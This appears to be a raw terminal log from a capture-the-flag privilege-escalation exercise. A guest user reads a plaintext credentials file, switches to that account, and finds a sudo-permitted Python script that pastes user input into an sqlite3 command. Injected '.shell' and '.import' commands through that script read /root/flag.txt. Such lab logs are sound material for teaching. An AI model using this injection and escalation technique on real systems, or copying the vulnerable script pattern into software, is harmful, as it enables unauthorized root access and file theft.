$ ls -la jared
total 900
drwx------ 1 jared jared 4096 Jul 8 18:48 .
drwxr-xr-x 1 jared jared 4096 Jul 8 18:39 ..
-rwx------ 1 jared jared 220 Apr 18 2019 .bash_logout
-rwx------ 1 jared jared 3526 Apr 18 2019 .bashrc
-rwx------ 1 jared jared 807 Apr 18 2019 .profile
-rwx------ 1 jared jared 884736 Nov 29 2015 chinook.db
-rwx------ 1 jared jared 117 Jul 8 18:38 creds.txt
-rwx------ 1 jared jared 668 Jul 8 17:58 query_db.py
$ cat jared/creds.txt
In case I forget my credentials.
jared:iamrich
Thanks to my awesome sysadmin, no one else can see this file!
$ id
uid=1001(guest) gid=1001(guest) euid=1000(jared) groups=1001(guest)
$ su jared
iamrich
$ id
uid=1000(jared) gid=1000(jared) groups=1000(jared),27(sudo)
$ sudo -l
Matching Defaults entries for jared on fa9f84013480:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jared may run the following commands on fa9f84013480:
(ALL) NOPASSWD: /home/jared/query_db.py
#!/usr/bin/python3
import os
import tempfile
import argparse
def query_db(row):
if not row:
row = 'FirstName'
sql = f".open /home/jared/chinook.db\nSELECT {row} FROM employees;"
os.system(f'echo "{sql}" | /usr/bin/sqlite3')
print("Done!")
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("--row", help="Row to query")
args = parser.parse_args()
query_db(args.row)
.shell CMD ARGS... Run CMD ARGS... in a system shell
$ sudo ./query_db.py --row "FirstName FROM employees;\n.shell cat /root/flag.txt;\nSELECT FirstName"
Andrew
Nancy
Jane
Margaret
Steve
Michael
Robert
Laura
STC{sud0_4nd_su1d_ea4b1d43ddf99e0c8f3338c8e33d5808}Andrew
Nancy
Jane
Margaret
Steve
Michael
Robert
Laura
Done!
$ sudo ./query_db.py --row "FirstName FROM employees;\n.open\nCREATE TABLE a(line TEXT);\n.import /root/flag.txt a\nSELECT * FROM a;\nSELECT FirstName"
Andrew
Nancy
Jane
Margaret
Steve
Michael
Robert
Laura
STC{sud0_4nd_su1d_ea4b1d43ddf99e0c8f3338c8e33d5808}
Done!